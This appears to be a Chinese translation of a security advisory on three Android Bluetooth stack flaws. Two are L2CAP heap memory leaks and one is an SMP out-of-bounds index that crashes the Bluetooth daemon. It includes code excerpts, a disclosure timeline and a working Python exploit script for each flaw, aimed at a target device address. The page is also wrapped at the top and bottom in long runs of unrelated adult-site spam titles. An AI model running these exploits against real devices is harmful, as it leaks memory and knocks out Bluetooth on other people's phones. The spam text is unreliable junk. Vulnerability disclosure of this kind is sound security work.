精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

三個Android藍牙組件漏洞詳情

安全 終端安全
2018年3月,Quarkslab向Google報告了Android藍牙協議棧中的漏洞,我們來詳細分析一下。

寫在前面的話

2018年3月,Quarkslab向Google報告了Android藍牙協議棧中的一些漏洞:

  • 問題編號74882215:藍牙L2CAP L2CAP_CMD_CONN_REQ遠程內存泄露
  • 問題編號74889513:藍牙L2CAP L2CAP_CMD_DISC_REQ遠程內存泄露
  • 問題編號74917004:藍牙SMP smp_sm_event()OOB陣列索引

[[241837]]

漏洞1:藍牙L2CAP L2CAP_CMD_CONN_REQ遠程內存泄露

1. 簡要

通過向目標設備發送特制的L2CAP數據包,藍牙范圍內的遠程攻擊者可利用Android藍牙協議棧中的漏洞披露屬于com.android.bluetooth守護程序堆的2個字節。

2. 漏洞詳細信息

L2CAP是藍牙協議棧中的協議, L2CAP的功能包括為更高層協議傳輸數據,包括通過單個鏈路復用多個應用程序。L2CAP是基于通道進行的,并且控制命令在預定義的L2CAP_SIGNALLING_CID (0x01)通道上被發送。L2CAP傳入數據由l2c_rcv_acl_data()函數[platform/system/bt/stack/ L2CAP /l2c_main.cc]處理。如果傳入的L2CAP數據包指定L2CAP_SIGNALLING_CID作為其目標通道,則l2c_rcv_acl_data()調用process_l2cap_cmd()函數來處理L2CAP控制命令。L2CAP_CMD_CONN_REQ控制命令在process_l2cap_cmd()函數中以以下這種方式處理:

  1. case L2CAP_CMD_CONN_REQ: 
  2.   STREAM_TO_UINT16(con_info.psm, p); 
  3.   STREAM_TO_UINT16(rcid, p); 
  4.   p_rcb = l2cu_find_rcb_by_psm(con_info.psm); 
  5.   if (p_rcb == NULL) { 
  6.     L2CAP_TRACE_WARNING("L2CAP - rcvd conn req for unknown PSM: %d", 
  7.                         con_info.psm); 
  8.     l2cu_reject_connection(p_lcb, rcid, id, L2CAP_CONN_NO_PSM); 
  9.     break; 
  10.   } else { 
  11.   [...] 

上面的代碼使用STREAM_TO_UINT16宏[platform/system/bt/stack/include/bt_types.h]從L2CAP數據包中讀取2個uint16_t值(con_info.psm 和rcid):

  1. #define STREAM_TO_UINT16(u16, p)                                                                      \ 
  2.   {                                                                                                                                       \ 
  3.     (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8));        \ 
  4.     (p) += 2;                                                                                                                     \ 
  5.   } 

該漏洞在于使用STREAM_TO_UINT16宏而不檢查攻擊者控制的數據包中是否還有足夠的數據;如果第二次使用STREAM_TO_UINT16時數據包中沒有剩余字節,則從帶外數據(out-of-bound)讀取rcid,更精確的從堆上與包數據相鄰的任何數據中讀取rcid。之后,如果l2cu_find_rcb_by_psm()返回NULL并因此到達if分支,則對l2cu_reject_connection() [stack/l2cap/l2c_utils.cc]的調用會將rcid發送到遠程對等體(the remote peer),這樣堆中就會有2個字節泄露出來:

  1. void l2cu_reject_connection(tL2C_LCB* p_lcb, uint16_t remote_cid, 
  2.                             uint8_t rem_id, uint16_t result) { 
  3.   [...] 
  4.   UINT16_TO_STREAM(p, 0); /* Local CID of 0   */ 
  5.   UINT16_TO_STREAM(p, remote_cid); 
  6.   UINT16_TO_STREAM(p, result); 
  7.   UINT16_TO_STREAM(p, 0); /* Status of 0      */ 
  8.   l2c_link_check_send_pkts(p_lcb, NULL, p_buf); 

這里請注意,l2cu_find_rcb_by_psm()可以完全受到攻擊者的影響,通過精心設計的L2CAP數據包中提供未注冊的協議或服務多路復用器(PSM)ID字段,會始終返回NULL(即始終返回到if分支)。另外,請注意,使用STREAM_TO_UINT16宏而不檢查攻擊控制的包中是否還有足夠的數據,這種不安全的模式在process_l2cap_cmd()函數中隨處可見。

3. Poc

下面的Python代碼觸發了漏洞并輸出從目標藍牙設備的com.android.bluetooth守護進程堆中泄漏的16位值。這個Python代碼使用Blueborne框架中的l2cap_infra包。用法:$ sudo python l2cap01.py 樣本:$ sudo python l2cap01.py hci0 00:11:22:33:44:55

  1. import os 
  2. import sys 
  3. from l2cap_infra import * 
  4. L2CAP_SIGNALLING_CID = 0x01 
  5. L2CAP_CMD_CONN_REQ = 0x02 
  6. def main(src_hci, dst_bdaddr): 
  7.     l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr) 
  8.     # This will leak 2 bytes from the heap 
  9.     print "Sending L2CAP_CMD_CONN_REQ in L2CAP connection..." 
  10.     cmd_code = L2CAP_CMD_CONN_REQ 
  11.     cmd_id = 0x41               # not important 
  12.     cmd_len = 0x00              # bypasses this check at lines 296/297 of l2c_main.cc:   pp_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) { 
  13.     non_existent_psm = 0x3333   # Non-existent Protocol/Service Multiplexer id, so l2cu_find_rcb_by_psm() returns NULL and l2cu_reject_connection() is called 
  14.     # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd(): 
  15.     # 170    /* Send the data through the channel state machine */ 
  16.     # 171    if (rcv_cid == L2CAP_SIGNALLING_CID) { 
  17.     # 172      process_l2cap_cmd(p_lcb, p, l2cap_len); 
  18.     l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBHH', cmd_code, cmd_id, cmd_len, non_existent_psm))) 
  19.     l2cap_loop.on(lambda pkt: True, 
  20.                   lambda loop, pkt: pkt) 
  21.     # And printing the returned data. 
  22.     pkt = l2cap_loop.cont()[0] 
  23.     print "Response: %s\n" % repr(pkt) 
  24.     # print "Packet layers: %s" % pkt.summary() 
  25.     # The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_ConnResp 
  26.     # The response contains 1 leaked word in the 'scid' field of the L2CAP_ConnResp layer 
  27.     print "Leaked word: 0x%04x" % pkt[2].scid 
  28.     l2cap_loop.finish() 
  29. if __name__ == '__main__': 
  30.     if len(sys.argv) < 2: 
  31.         print("Usage: l2cap01.py <src-hci> <dst-bdaddr>") 
  32.     else: 
  33.         if os.getuid(): 
  34.             print "Error: This script must be run as root." 
  35.         else: 
  36.             main(*sys.argv[1:]) 

漏洞#2:藍牙L2CAP L2CAP_CMD_DISC_REQ遠程內存泄露

1. 簡要

藍牙范圍內的遠程攻擊者可以使用Android藍牙協議棧(Bluetooth stack)中的漏洞通過向目標設備發送自定義的L2CAP數據包來自屬于com.android.bluetooth守護進程堆的4個字節。

2. 漏洞詳細信息

L2CAP_CMD_DISC_REQ控制命令在process_l2cap_cmd()函數中以下方式處理:

  1. case L2CAP_CMD_DISC_REQ: 
  2.   STREAM_TO_UINT16(lcid, p); 
  3.   STREAM_TO_UINT16(rcid, p); 
  4.   p_ccb = l2cu_find_ccb_by_cid(p_lcb, lcid); 
  5.   if (p_ccb != NULL) { 
  6.     if (p_ccb->remote_cid == rcid) { 
  7.       p_ccb->remote_id = id; 
  8.       l2c_csm_execute(p_ccb, L2CEVT_L2CAP_DISCONNECT_REQ, &con_info); 
  9.     } 
  10.   } else 
  11.     l2cu_send_peer_disc_rsp(p_lcb, id, lcid, rcid); 

上面的代碼使用STREAM_TO_UINT16 macro [platform/system/bt/stack/include/bt_types.h]從L2CAP數據包中讀取2個uint16_t值(lcid和rcid):

  1. #define STREAM_TO_UINT16(u16, p)                                                                        \ 
  2.   {                                                                                                                                         \ 
  3.     (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8));         \ 
  4.     (p) += 2;                                                                                                                      \ 
  5.   } 

該漏洞存在于STREAM_TO_UINT16宏被使用兩次后,而不檢查攻擊者控制的數據包中是否還有至少4個字節;如果數據包中沒有剩余字節,那么從將從帶外數據讀取lcid和rcid,更準確的說是從與堆上的數據包數據相鄰的任何數據中讀取。之后,如果l2cu_find_ccb_by_cid()返回NULL并因此到達else分支,則對l2cu_send_peer_disc_rsp()[platform / system / bt / stack / l2cap / l2c_utils.cc]調用會將lcid和rcid發送到遠程對等體,這樣堆中的4個字節就會被泄漏。

  1. void l2cu_send_peer_disc_rsp(tL2C_LCB* p_lcb, uint8_t remote_id, 
  2.                              uint16_t local_cid, uint16_t remote_cid) { 
  3. [...] 
  4.   UINT16_TO_STREAM(p, local_cid); 
  5.   UINT16_TO_STREAM(p, remote_cid); 
  6.   l2c_link_check_send_pkts(p_lcb, NULL, p_buf); 

請注意,l2cu_find_ccb_by_cid()可以完全受到攻擊者的影響返回NULL(即始終返回到else分支),因為該函數將始終返回NULL,除非在目標設備和攻擊者的藍牙設備之間設置一個活動通道控制塊(CCB),并設置假的lcid。

3. Poc

以下Python代碼會觸發漏洞并輸出從目標藍牙設備的com.android.bluetooth守護進程堆中泄漏的兩個16位值。這個Python代碼使用來自Blueborne框架中的l2cap_infra包。用法:sudo python l2cap02.py 樣本:$ sudo python l2cap02.py hci0 00:11:22:33:44:55

  1. import os 
  2. import sys 
  3. from l2cap_infra import * 
  4. L2CAP_SIGNALLING_CID = 0x01 
  5. L2CAP_CMD_DISC_REQ = 0x06 
  6. def main(src_hci, dst_bdaddr): 
  7.     l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr) 
  8.     # This will leak 4 bytes from the heap 
  9.     print "Sending L2CAP_CMD_DISC_REQ command in L2CAP connection..." 
  10.     cmd_code = L2CAP_CMD_DISC_REQ 
  11.     cmd_id = 0x41               # not important 
  12.     cmd_len = 0x00              # bypasses this check at lines 296/297 of l2c_main.cc:   pp_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) { 
  13.     # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd(): 
  14.     # 170    /* Send the data through the channel state machine */ 
  15.     # 171    if (rcv_cid == L2CAP_SIGNALLING_CID) { 
  16.     # 172      process_l2cap_cmd(p_lcb, p, l2cap_len); 
  17.     l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBH', cmd_code, cmd_id, cmd_len))) 
  18.     l2cap_loop.on(lambda pkt: True, 
  19.                   lambda loop, pkt: pkt) 
  20.     # And printing the returned data. 
  21.     pkt = l2cap_loop.cont()[0] 
  22.     print "Response: %s\n" % repr(pkt) 
  23.     # print "Packet layers: %s" % pkt.summary() 
  24.     # The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_DisconnResp 
  25.     # The response contains 2 leaked words in the 'dcid' and 'scid' fields of the L2CAP_DisconnResp layer 
  26.     print "Leaked words: 0x%04x 0x%04x" % (pkt[2].dcid, pkt[2].scid) 
  27.     l2cap_loop.finish() 
  28. if __name__ == '__main__': 
  29.     if len(sys.argv) < 2: 
  30.         print("Usage: l2cap02.py <src-hci> <dst-bdaddr>") 
  31.     else: 
  32.         if os.getuid(): 
  33.             print "Error: This script must be run as root." 
  34.         else: 
  35.             main(*sys.argv[1:]) 

漏洞#3:藍牙SMP smp_sm_event() OOB數組索引

1. 簡要

藍牙范圍內的遠程攻擊者可以使用Android藍牙協議棧(Bluetooth stack)中的漏洞,使com.android.bluetooth守護進程訪問之外的數組,方法就是通過將意外傳輸發送包里所含的SMP_OPCODE_PAIRING_REQ命令的SMP數據包發送到目標設備。

2. 漏洞詳細信息

安全管理器協議(SMP)為運行在藍牙低能耗堆棧上的應用程序提供服務訪問,如設備身份驗證、設備授權和數據隱私訪問,以及對運行在藍牙低能耗堆棧上的應用程序的訪問。SMP協議位于L2CAP之上,位于預定義的L2CAP_SMP_CID (0x06)通道之上。傳入的SMP數據包由smp_data_received()函數[platform/system/bt/stack/smp/smp_l2c.cc]處理。如果通過L2CAP_SMP_CID固定通道接收到一個SMP數據包,其中包含SMP_OPCODE_PAIRING_REQ (0x01)命令,則會出現以下代碼:

  1. static void smp_data_received(uint16_t channel, const RawAddress& bd_addr, 
  2.                               BT_HDR* p_buf) { 
  3.   [...] 
  4.   /* reject the pairing request if there is an on-going SMP pairing */ 
  5.   if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) { 
  6.     if ((p_cb->state == SMP_STATE_IDLE) && 
  7.         (p_cb->br_state == SMP_BR_STATE_IDLE) && 
  8.         !(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) { 
  9.       p_cb->role = L2CA_GetBleConnRole(bd_addr); 
  10.   [...] 

如上面的代碼所示,p_cb-> role設置為L2CA_GetBleConnRole(bd_addr)返回的值。 p_cb-> role應該包含其中一個值[platform / system / bt / stack / include / hcidefs.h]:

  1. /* HCI role defenitions */ 
  2. #define HCI_ROLE_MASTER 0x00 
  3. #define HCI_ROLE_SLAVE 0x01 
  4. #define HCI_ROLE_UNKNOWN 0xff 

如果分析人員查看L2CA_GetBleConnRole()函數中[platform/system/bt/stack/l2cap/l2c_ble.cc]的代碼,就可以發現它調用l2cu_find_lcb_by_bd_addr()來查找一個匹配遠程BDADDR并使用低能耗傳輸(BT_TRANSPORT_LE)的活動鏈接控制塊(LCB)結構;如果找不到它,則返回HCI_ROLE_UNKNOWN(0xff)。當分析人員通過在BR/EDR(基本速率/增強數據速率,也稱為“classic”藍牙)傳輸上發送包含SMP_OPCODE_PAIRING_REQ命令的SMP數據包來命令此代碼時就是如下這種情況,它應該只用于低能耗(LE)傳輸:

  1. uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) { 
  2.   uint8_t role = HCI_ROLE_UNKNOWN
  3.   tL2C_LCB* p_lcb; 
  4.   p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE); 
  5.   if (p_lcb != NULL) role = p_lcb->link_role; 
  6.   return role; 

所以,返回smp_data_received()函數,在將p_cb-> role設置為HCI_ROLE_UNKNOWN(0xff)之后,它調用smp_sm_event()[platform/system/bt/stack/smp/smp_main.cc],得到以下代碼。

  1. 953  void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event, tSMP_INT_DATA* p_data) { 
  2. ... 
  3. 957    tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role]; 
  4. ... 
  5. 970    /* look up the state table for the current state */ 
  6. 971    /* lookup entry /w event & curr_state */ 
  7. 972    /* If entry is ignore, return. 
  8. 973     * Otherwise, get state table (according to curr_state or all_state) */ 
  9. 974    if ((event <= SMP_MAX_EVT) && 
  10. 975        ((entry = entry_table[event - 1][curr_state]) != SMP_SM_IGNORE)) { 

在第957行,代碼使用p_cb-> role作為索引從smp_entry_table靜態數組中讀取,而不檢查p_cb-> role是否具有兩個有效值中的一個,即HCI_ROLE_MASTER(0x00)或HCI_ROLE_SLAVE(0x01)。這就是漏洞:smp_entry_table靜態數組只包含2個元素,而p_cb-> role的值為0xFF,在接收到包含SMP_OPCODE_PAIRING_REQ命令的SMP包后,在BR/EDR傳輸上,而不是在預期的低能耗傳輸之上。

  1. static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map, 
  2.                                                  smp_slave_entry_map}; 

因此,作為執行entry_table = smp_entry_table[0xff]時的OOB索引的結果,entry_table局部變量將包含一些垃圾值(位于bluetooth.default.so二進制文件的數據部分中的smp_entry_table全局變量之后的任何值)。因此,稍后在第975行,當取消對entry_table [event – 1] [curr_state]的引用時,它很可能會導致分段錯誤(受bluetooth.default.so二進制文件的特定版本的影響,其中包含smp_entry_table全局變量),這將使com.android.bluetooth守護進程停止工作。

3. Poc

用法:$ sudo python smp01.py 樣本:$ sudo python smp01.py hci0 00:11:22:33:44:55

  1. import os 
  2. import sys 
  3. from l2cap_infra import * 
  4. L2CAP_SMP_CID = 0x06 
  5. # This matches the CID used in l2cap_infra to establish a successful connection. 
  6. OUR_LOCAL_SCID = 0x40 
  7. SMP_OPCODE_PAIRING_REQ = 0x01 
  8. def main(src_hci, dst_bdaddr): 
  9.     l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr) 
  10.     print "Sending SMP_OPCODE_PAIRING_REQ in L2CAP connection..." 
  11.     cmd_code = SMP_OPCODE_PAIRING_REQ 
  12.     the_id = 0x41       # not important 
  13.     cmd_len = 0x08 
  14.     flags = 0x4142      # not important 
  15.     # here we use L2CAP_SMP_CID as cid 
  16.     l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SMP_CID) / Raw(struct.pack('<BBHHH', cmd_code, the_id, cmd_len, OUR_LOCAL_SCID, flags))) 
  17.     l2cap_loop.finish() 
  18.     print "The com.android.bluetooth daemon should have crashed." 
  19. if __name__ == '__main__': 
  20.     if len(sys.argv) < 2: 
  21.         print("Usage: smp01.py <src-hci> <dst-bdaddr>") 
  22.     else: 
  23.         if os.getuid(): 
  24.             print "Error: This script must be run as root." 
  25.         else: 
  26.             main(*sys.argv[1:]) 

時間線

  • 2018年3月15日:Quarkslab向Google報告了影響Android藍牙堆棧的三個漏洞。錯誤被添加到ID“74882215,74889513和74917004”下的“Android外部安全報告”問題跟蹤器中。
  • 2018年3月16日:一個溫和的機器人承認所有三個安全報告。
  • 2018年3月26日:Android安全團隊關閉問題74882215作為問題74135099的副本,聲明該錯誤已在2018年3月4日由另一位外部研究人員報告過。
  • 2018年5月10日:Quarkslab回到剩下的問題74889513和74917004,提醒谷歌自初始報告以來差不多兩個月沒有得到Android團隊的任何回應,并詢問是否有人能夠評估錯誤。
  • 2018年6月4日:2018年6月Android安全公告發布,修復了問題74882215和74889513。
  • 2018年7月2日:2018年7月Android安全公告發布,修復問題74917004。
  • 2018年7月25日:此博客文章發布。

寫在最后的話

Quarkslab的分析人員已經向Google報告了三個影響Android藍牙協議棧(Bluetooth stack)的漏洞。其中兩個影響到了處理L2CAP協議的代碼,它們允許遠程攻擊者(在藍牙范圍內)公開屬于com.android.bluetooth進程的內存內容。這些內存泄露漏洞可能對攻擊者在攻擊過程的早期階段有所幫助,甚至可能用于檢索敏感數據。第三個漏洞是SMP協議實現中的帶外數組索引錯誤,雖然很可能會導致com.android.bluetooth進程崩潰,但攻擊者可能利用它來遠程執行Android設備上的遠程代碼。有趣的是,與前兩個L2CAP問題不同,此SMP錯誤不是解析格式錯誤的數據包的結果;實際上,它可以通過發送包含SMP_OPCODE_PAIRING_REQ的良好格式的SMP數據包來觸發,但是是通過BR/EDR傳輸而不是預期的BLE傳輸。

責任編輯:趙寧寧 來源: FreeBuf
相關推薦

2021-09-16 15:06:33

漏洞管理漏洞網絡攻擊

2010-09-27 16:48:34

2022-11-10 09:57:24

2014-12-05 10:41:22

2020-11-10 08:47:36

漏洞bug遠程代碼

2023-12-28 07:39:58

C#項目框架

2021-05-17 09:52:53

工具dumiVue 組件

2020-06-11 09:00:27

SDN網絡架構網絡

2022-08-04 08:44:31

Android系統攻擊鏈

2009-05-19 16:45:15

Linux安全漏洞補丁

2021-05-25 14:04:49

AppleMacOS漏洞

2022-03-31 14:55:31

網絡安全漏洞

2023-06-30 13:58:09

2023-04-26 11:14:11

IT領導者遠程工作

2024-10-28 15:55:34

2021-09-26 11:00:55

漏洞網絡安全網絡攻擊

2023-11-27 16:20:25

2015-02-10 09:23:15

2023-10-17 07:23:00

Vue組件代碼

2019-09-03 18:16:44

Android 10Google長甜品
點贊
收藏

51CTO技術棧公眾號

免费看的av网站| 日韩三级电影网站| 九九热在线免费观看| 欧美一区电影| 日韩一区二区三区视频在线观看| www.好吊操| 国产福利在线观看| 国产高清精品网站| 国产精品999999| 麻豆成人在线视频| 成人aaaa| 精品久久久三级丝袜| 性欧美极品xxxx欧美一区二区| h片在线免费观看| 久久亚洲欧美国产精品乐播 | 亚洲人久久久| 婷婷av一区二区三区| 麻豆精品久久久| 91成人福利在线| www青青草原| 日韩理论在线| 亚洲热线99精品视频| 无码人妻丰满熟妇区毛片蜜桃精品| av亚洲一区二区三区| 亚洲成av人片在线观看无码| 综合网五月天| av在线免费观看网站| 97精品久久久久中文字幕 | 欧美大片网站在线观看| 神马久久久久久久久久久| 红杏视频成人| 日韩欧美在线不卡| 欧美视频亚洲图片| 久久久久黄色| 在线观看亚洲精品视频| 116极品美女午夜一级| 97在线视频免费观看完整版| 亚洲视频在线一区观看| 亚洲精品影院| 97电影在线观看| 国产区在线观看成人精品| 精品一区国产| 午夜小视频在线播放| 成人中文字幕电影| 99re视频| 精品人妻一区二区三区浪潮在线 | av日韩免费电影| 国产三级午夜理伦三级| 国产综合色在线视频区| 91精品国产综合久久久久久蜜臀| 中国黄色一级视频| 日韩国产欧美在线播放| 国产精品久久久久久久一区探花| 无码aⅴ精品一区二区三区| 天堂一区二区在线免费观看| 国产精品com| 91丨九色丨海角社区| 毛片一区二区三区| 国产欧美婷婷中文| 99久久精品国产一区二区成人| 国产真实乱对白精彩久久| 亚洲aaa激情| 成 人 免费 黄 色| 波多野结衣亚洲一区| 九九99久久| 欧美中文在线| 中文av字幕一区| 亚洲午夜精品久久久久久浪潮| 麻豆影视在线观看_| 亚洲日本欧美天堂| 国产精品www在线观看| av色在线观看| 在线视频一区二区三区| 国产色视频在线播放| 久久国际精品| 日韩精品视频免费在线观看| 蜜桃无码一区二区三区| 91蜜臀精品国产自偷在线| 欧美成人三级视频网站| 国产无遮挡又黄又爽| 可以看av的网站久久看| 91在线看www| 色婷婷av一区二区三区之红樱桃| 国产亚洲精品aa午夜观看| 在线观看欧美亚洲| 9999在线视频| 欧美日韩国产色站一区二区三区| 黄色a级三级三级三级| 国产精品视屏| 中文字幕亚洲综合| 精品无码久久久久久久久| 男人的天堂亚洲| 91久久久精品| 青青免费在线视频| 亚洲精品日产精品乱码不卡| 久久国产亚洲精品无码| 亚洲国产伊人| 日韩成人在线视频网站| 免费中文字幕日韩| 亚洲专区免费| eeuss一区二区三区| 国产在线一在线二| 尤物av一区二区| 国产v亚洲v天堂无码久久久 | 日本蜜桃在线观看视频| 欧美日韩aaaaa| 中文字幕在线播放视频| 91精品99| 国产精品免费一区| 人妻少妇一区二区三区| 亚洲日本va在线观看| 国产日韩一区二区在线观看| 日本成人精品| 综合av色偷偷网| 97人人澡人人爽人人模亚洲| 国产在线精品国自产拍免费| 日韩在线国产| 亚洲黄色免费av| 欧美大黄免费观看| 中文字幕求饶的少妇| 久久在线91| 国产综合第一页| 三级福利片在线观看| 欧美日韩高清一区二区不卡| 一级性生活大片| 亚洲人成久久| 国产精品国产精品国产专区蜜臀ah | 国产成人无遮挡在线视频| 日韩在线国产| 日本成人片在线| 亚洲欧美在线看| 欧美日韩综合在线观看| 高清不卡在线观看| 91网站在线观看免费| 日韩精品视频在线看| 日韩视频亚洲视频| 91亚洲精品国偷拍自产在线观看 | 欧美日韩视频免费在线观看| 欧美日韩在线精品一区二区三区激情综合 | av网址在线免费观看| 欧美视频中文字幕| 国产三级在线观看完整版| 巨乳诱惑日韩免费av| 日本不卡一区二区三区视频| jizz内谢中国亚洲jizz| 日韩电影中文字幕一区| 国产剧情在线视频| 久久无码av三级| 99免费视频观看| 日本不卡电影| 国产一区二中文字幕在线看| 看黄网站在线| 日韩一级二级三级精品视频| 久久久久久久久精| 成人免费高清在线观看| 国产深夜男女无套内射| 亚洲人成网www| 国产精品久久久久久av下载红粉| a√资源在线| 8v天堂国产在线一区二区| 日韩在线观看视频一区二区| 国产成人亚洲综合色影视| 国产免费黄色小视频| 思热99re视热频这里只精品| 国产成人aa精品一区在线播放| 国产九九在线| 91精品国产综合久久香蕉麻豆| 欧美黄色免费在线观看| www.亚洲免费av| 无码内射中文字幕岛国片| 日韩欧美1区| 91在线在线观看| a一区二区三区| 久久精品一区中文字幕| 免费的黄色av| 欧美亚洲综合在线| 免费在线视频一区二区| 91麻豆免费在线观看| 少妇一级淫免费放| 国产一区清纯| 日韩免费毛片| 亚洲精品v亚洲精品v日韩精品| 97免费中文视频在线观看| 国产h视频在线观看| 91精品国产91久久久久久最新毛片 | 午夜天堂影视香蕉久久| 国产一区二区三区四区五区六区| 久久国产精品99久久久久久老狼| 国产不卡一区二区视频| 清纯唯美综合亚洲| 精品国产乱码久久久久久88av| 免费在线成人激情电影| 欧美精品videos| 永久免费av在线| 亚洲国产精品va在线看黑人| 亚洲视频久久久| 亚洲成人资源网| 五月天婷婷丁香网| 99视频一区二区| 婷婷激情小说网| 欧美亚洲一区| 日韩精品一区二区免费| 青青一区二区三区| 久久资源亚洲| 一区中文字幕| 国产专区精品视频| 一级毛片久久久| 久久久久久久av| 黄网站在线播放| 在线播放日韩欧美| 午夜黄色小视频| 精品国产乱码久久久久久夜甘婷婷| 最近日韩免费视频| 精品国产乱码久久久久酒店| 久艹视频在线观看| 国产精品国产三级国产aⅴ原创 | 亚洲午夜激情网页| 九九热视频在线免费观看| 久久久精品tv| 亚洲av无码国产精品久久| 成人手机电影网| xxxx视频在线观看| 国产精品一区免费视频| 黄色小视频免费网站| 日韩国产高清在线| 男人天堂成人在线| 亚洲在线成人| 播放灌醉水嫩大学生国内精品| 红桃视频国产一区| 日本一道在线观看| 一精品久久久| 国产奶头好大揉着好爽视频| 日韩欧美精品一区| 夜夜爽99久久国产综合精品女不卡| 精品日本12videosex| 日韩欧美亚洲日产国| 尤物tv在线精品| 奇米影视首页 狠狠色丁香婷婷久久综合| 国产一区二区三区不卡av| 波多野结衣精品久久| 亚洲专区**| 电影午夜精品一区二区三区| 无码国模国产在线观看| 国产福利一区二区三区在线观看| 视频精品一区| 99国产在线| 豆花视频一区二区| 国产亚洲第一区| 日韩三级av| 日韩成人av电影在线| 青草国产精品| 日韩国产精品毛片| 欧美日韩一区二区三区四区在线观看| 欧美一级爱爱视频| 亚洲伦伦在线| 欧美 国产 小说 另类| 日本不卡高清视频| 成人综合久久网| 国产成人鲁色资源国产91色综| 白嫩情侣偷拍呻吟刺激 | 成年人免费视频播放| 亚洲欧洲中文日韩久久av乱码| 日本青青草视频| 亚洲va国产va欧美va观看| 五月婷婷色丁香| 欧美日韩国产另类一区| 国产精品无码在线播放| 精品国产制服丝袜高跟| 天堂av网在线| 日韩在线视频线视频免费网站| 成人在线播放免费观看| 国模叶桐国产精品一区| 性感美女一区二区在线观看| 成人写真视频福利网| 国产精品xxx在线观看| 日韩久久久久久久久久久久久| 亚洲先锋影音| 无码精品a∨在线观看中文| 蜜臀av一区二区| 巨乳女教师的诱惑| 久久噜噜亚洲综合| 中文字幕无码日韩专区免费| 亚洲大型综合色站| 中文字幕乱码人妻无码久久| 日韩欧美一区中文| 岛国视频免费在线观看| 久久99精品国产99久久6尤物| 伊人久久精品一区二区三区| 国产一区二区色| 同性恋视频一区| 日本道在线视频| 久热国产精品| 中文字幕在线视频播放| 国产精品国产三级国产aⅴ入口| 欧美亚韩一区二区三区| 在线成人av网站| 九色视频在线观看免费播放| 欧美福利视频网站| 亚洲成人av观看| 国产精选一区二区| 围产精品久久久久久久| www.玖玖玖| 成人国产精品免费| 99热6这里只有精品| 一本大道久久精品懂色aⅴ| 精品久久人妻av中文字幕| 亚洲天堂av在线播放| av电影免费在线看| 91久久国产自产拍夜夜嗨| 国产亚洲一区二区三区不卡| 日韩一级性生活片| 国产在线观看一区二区| 中文字幕第二区| 狠狠久久五月精品中文字幕| 朝桐光av在线一区二区三区| 久久韩国免费视频| 精品久久福利| 青青草原亚洲| 午夜一区二区三区不卡视频| 中文字幕无人区二| 亚洲精品欧美综合四区| 国产精品视频一二区| 这里只有精品丝袜| 成人软件在线观看| 美国av一区二区三区| 在线不卡亚洲| 亚洲国产精品狼友在线观看| 亚洲人成电影网站色mp4| 在线观看视频中文字幕| 国产午夜精品全部视频播放| xxx欧美xxx| 麻豆成人小视频| 午夜亚洲一区| 中文字幕国产综合| 色屁屁一区二区| 九色蝌蚪在线| 国产福利视频一区二区| 九色精品91| 91在线视频观看免费| 久久久三级国产网站| 免费看污视频的网站| 在线观看国产成人av片| 成人在线不卡| 99re99热| 国产黄色成人av| 国产精品19乱码一区二区三区| 精品国产精品网麻豆系列| 嗯啊主人调教在线播放视频 | 国产欧美一区二区三区视频| 久久香蕉国产| 天天色天天干天天色| 一区二区三区丝袜| 少妇一区二区三区四区| 2019中文字幕在线| 国产a久久精品一区二区三区| 久久精品网站视频| 国产精品国产三级国产aⅴ入口 | 久久精品一本久久99精品| 久久伊人久久| 欧洲精品一区二区三区久久| 久久综合九色综合97婷婷女人| 天天爱天天做天天爽| 日韩专区中文字幕| 亚洲精品黑牛一区二区三区| 欧美极品欧美精品欧美| 欧美激情在线看| 亚洲国产精品久久久久久久| 91国内在线视频| 精品久久久久久久| 日本黄色三级网站| 精品国产31久久久久久| 国产大片在线免费观看| 97se国产在线视频| 免费视频一区| 日韩av手机在线免费观看| 日韩丝袜美女视频| 成人午夜视屏| 一本—道久久a久久精品蜜桃| 成人精品鲁一区一区二区| 国产剧情在线视频| 美女啪啪无遮挡免费久久网站| 国产一区二区三区不卡av| 99视频在线视频| 亚洲一区在线视频| 国产女主播在线直播| 99re视频在线| 日韩专区在线视频| 国产一级视频在线| 一色桃子一区二区| 欧美电影在线观看免费| 亚洲欧美国产中文| 天天影视网天天综合色在线播放 | 久久av导航| 国产a√精品区二区三区四区| 日韩欧美在线视频| 手机在线免费av| 日韩三级电影网站| 99精品黄色片免费大全| 国产在成人精品线拍偷自揄拍| 97视频在线观看网址|